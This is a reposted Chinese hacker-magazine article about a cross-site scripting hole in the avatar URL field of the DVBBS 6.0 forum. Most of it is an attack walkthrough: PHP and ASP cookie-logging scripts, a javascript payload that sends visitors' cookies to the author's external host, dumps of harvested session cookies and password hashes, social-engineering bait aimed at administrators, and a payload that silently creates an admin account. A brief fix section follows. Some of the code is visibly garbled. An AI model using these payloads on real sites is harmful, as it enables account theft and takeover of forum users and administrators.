|
|
[转帖]动网论坛6.0存在跨战脚本漏洞-自黑客X档案
动网论坛6.0存在跨战脚本漏洞,详细地址:http://www.hackerxfiles.net/showart.asp?art_id=51cat_id=3
这个漏洞是lintao520发现的,我写成了文章,并深入问题和给出解决方案。希望大家共同进步。
动网论坛(动网先锋论坛) 是一款由ASPSKY.NET开发和维护的源代码开?..最高版本为DVBBS VER 6.0.0 SP3。
◇此漏洞所涉及版本::
目前所有版本
◇描述:
由于没有对自定义头像的地址进行过滤,导致远程攻击者可以在自定义头像的地址中插入一段特殊代码。使恶意用户能够取得浏览网页用户的cookie信息。
◇具体分析与利用:
1. 分析:
关键的问题就出在MYMODIFY.ASP中,看看MYMODIFY.ASP的源代码,没有对自定义头像的地址进行滤。
javascript, jscript:, js:, about; value, document., onmouse,onexit都应该做严格过滤。这可能是开发者的因为疏忽造成的。
2.利用
目的:取得用户的cookie信息
首先我们要有一个空间,可以是支持ASP或者PHP的。
以下是获取cookie的php源代码:
?php
$info = getenv(QUERY_STRING);
if ($info) {
$fp = fopen(test.txt,a);
fwrite($fp,$info.\n);
fclose($fp);
}
?
script language=vbscript
document.location=http://xiaomutou.51.net/bbs/
/script
如果得到cookie,则在空间中生成test.txt,为了不引起怀疑,将自动把网页转换到http://xiaomutou.51.net/bbs/。(广?..来我和木头的家*^_^*,什么别仍鸡蛋啊~)
把它上传到支持php的空间上。比如这里我把它传到
http://xiaomutou.51.net/info2.php
然后注册一个用户(强烈建议大家注册英文用户,如baobaoguai)
我们在“关于自定义头像”中插入如下代码:
java script:window.open(http://xiaomutou.51.net/info2.php?+documents.cookie);
然后提交,现在这个的头像已经成了一段偷cookie的特殊代码。现在回到首页,看看在线成员列表,点我们刚才注册的用户,看,它弹出了两个窗口,一个是关于baobaoguai这个用户的资料,另一个则是http://xiaomutou.51.net/bbs/
其实在出现http://xiaomutou.51.net/bbs/之前,?..蛏?傻膖est.txt[/url]
aspsky=usercookies=1userid=6621tempid=userhidden=2password=965eb72c92a549dduserclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%B9%D4%B1%A6%B1%A6111;%20ASPSESSIONIDCACARBQD=KFHGEADBKLHJGLDDBFEGCJCH;%20Longker+Union=lao=1;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=6621usercookies=1userhidden=password=965eb72c92a549ddtempid=userclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%B9%D4%B1%A6%B1%A6111
哇哇,所有的cookie全都得到了。只不过经过了加密。
想得到别人的cookie,容易,我们把关于baobaoguai的资料地址复制一下。到论坛发个帖,比如标题是“管理员大人和各位用户快来看,我发现了好东西”,一般人都会点这个联接,而且URL是那个网站的,不会引起别人的怀疑。当他用的鼠标轻轻的点一下这个URL时,我们就窃取了他的cookie,并把他带到了我和木头的论坛,这叫玩黑广告两不误^_^(木头:做个广告就行了,不要偷人cookie啊,真坏!)
第二天清早起床打开电脑,看看http://xiaomutou.51.net/test.txt,已经收集到一大堆了。
aspsky=usercookies=1userid=6621tempid=userhidden=2password=965eb72c92a549dduserclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%B9%D4%B1%A6%B1%A6111;%20ASPSESSIONIDCACARBQD=KFHGEADBKLHJGLDDBFEGCJCH;%20Longker+Union=lao=1;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=6621usercookies=1userhidden=password=965eb72c92a549ddtempid=userclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%B9%D4%B1%A6%B1%A6111
aspsky=usercookies=1userid=6621tempid=userhidden=2password=965eb72c92a549dduserclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%B9%D4%B1%A6%B1%A6111;%20ASPSESSIONIDCACARBQD=KFHGEADBKLHJGLDDBFEGCJCH;%20Longker+Union=lao=1;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=6621usercookies=1userhidden=password=965eb72c92a549ddtempid=userclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%B9%D4%B1%A6%B1%A6111
aspsky=usercookies=1username=%BA%EC%D2%C2%B4%CC%BF%CDuserclass=%D0%C2%CA%D6%C9%CF%C2%B7tempid=password=9d674de36c433b47userhidden=2userid=5;%20ASPSESSIONIDSSASBRRS=FJPOHNIBOEHPMEMPDKJNNAGJ;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=5usercookies=1userhidden=password=9d674de36c433b47tempid=userclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%BA%EC%D2%C2%B4%CC%BF%CD
aspsky=userid=4usercookies=0userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7userhidden=2password=669b958c3cee6c04tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4usercookies=0userhidden=password=669b958c3cee6c04tempid=userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7
aspsky=usercookies=1username=%BA%EC%D2%C2%B4%CC%BF%CDuserclass=%D0%C2%CA%D6%C9%CF%C2%B7tempid=password=9d674de36c433b47userhidden=2userid=5;%20ASPSESSIONIDSSASBRRS=FJPOHNIBOEHPMEMPDKJNNAGJ;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=5usercookies=1userhidden=password=9d674de36c433b47tempid=userclass=%D0%C2%CA%D6%C9%CF%C2%B7username=%BA%EC%D2%C2%B4%CC%BF%CD
aspsky=userid=4usercookies=0userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7userhidden=2password=669b958c3cee6c04tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4usercookies=0userhidden=password=669b958c3cee6c04tempid=userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7
aspsky=userid=4usercookies=0userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7userhidden=2password=669b958c3cee6c04tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4usercookies=0userhidden=password=669b958c3cee6c04tempid=userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7
aspsky=userid=4usercookies=0userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7userhidden=2password=669b958c3cee6c04tempid=;%20ASPSESSIONIDSSASBRRS=INMOHNIBGIHKDGLGAMJFGMBO;%20iscookies=0;%20BoardList=BoardID=Show;%20upNum=0;%20aspsky=userid=4usercookies=0userhidden=password=669b958c3cee6c04tempid=userclass=%B9%DC%C0%ED%D4%B1username=%D0%A1%C4%BE%CD%B7
深入问题:
我们还可以利用这个漏洞来创建一个管理员。当然,只有论坛的管理员才可以创建,不过有些白痴级论坛除外 :p
首先,通过对论坛源代码的分析,找出创建管理员要提交的URL。
假如URL为http://www.web.com/bbs/adminadd.asp?name=CiKer
把Ciker这个用户创建为管理员。那么就可以在自定义头像地址中插入:
java script:window.open(http://www.web.com/bbs/adminadd.asp?name=CiKer);
这样,如果管理员看了你的资料,就会创建CiKer这个管理员,至于怎么引管理员看你的资料,就不用我多说了吧:)
接下来该怎么办就不用我说了吧,MD5解密,cookie欺骗,就随你了。虽然不能进后台,不过可以帮管理员删删那些垃圾帖子:)
原理:如果我们在头像中提交:http://xiaomutou.51.net/photo.jpg,就会被转换成src=http://xiaomutou.51.net/photo.jpg,由于没有对javascript过滤,我们插入java script:window.open(http://xiaomutou.51.net/info2.php?+documents.cookie);就被转换成了
src= java script:window.open(http://xiaomutou.51.net/info2.php?+documents.cookie);。这样就达到了跨站脚本的目的。
◇解决方案:
禁止用其他站点的头像和照片。在MYMODIFY.ASP和reg.asp中把
自定义头像地址:input type=TEXT name=myface size=30 maxlength=100 value=%=rs(face)%
改成
自定义头像地址:input type=TEXT name=myface size=30 maxlength=100 value=%=rs(face)% disabled
把
input type=TEXT name=userphoto value=%if trim(rs(userphoto)) then%%=htmlencode(rs(userphoto))%%end if% size=30 maxlength=100
改成
input type=TEXT name=userphoto value=%if trim(rs(userphoto)) then%%=htmlencode(rs(userphoto))%%end if% size=30 maxlength=100 disabled
为了补充头像单调的不足可以开放上传头像的功能。为了安全,可以把存放上传头像的文件夹改名,并建立一个不支持脚本的虚拟目录。
如果有什么问题,欢迎到http://xiaomutou.51.net/bbs与我交流。
附:获取cookie的asp源代码:
%
testfile=Server.MapPath(cookies.txt)
msg=Request(msg)
set fs=server.CreateObject(scripting.filesystemobject)
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(msg )
thisfile.close
set fs = nothing
|
|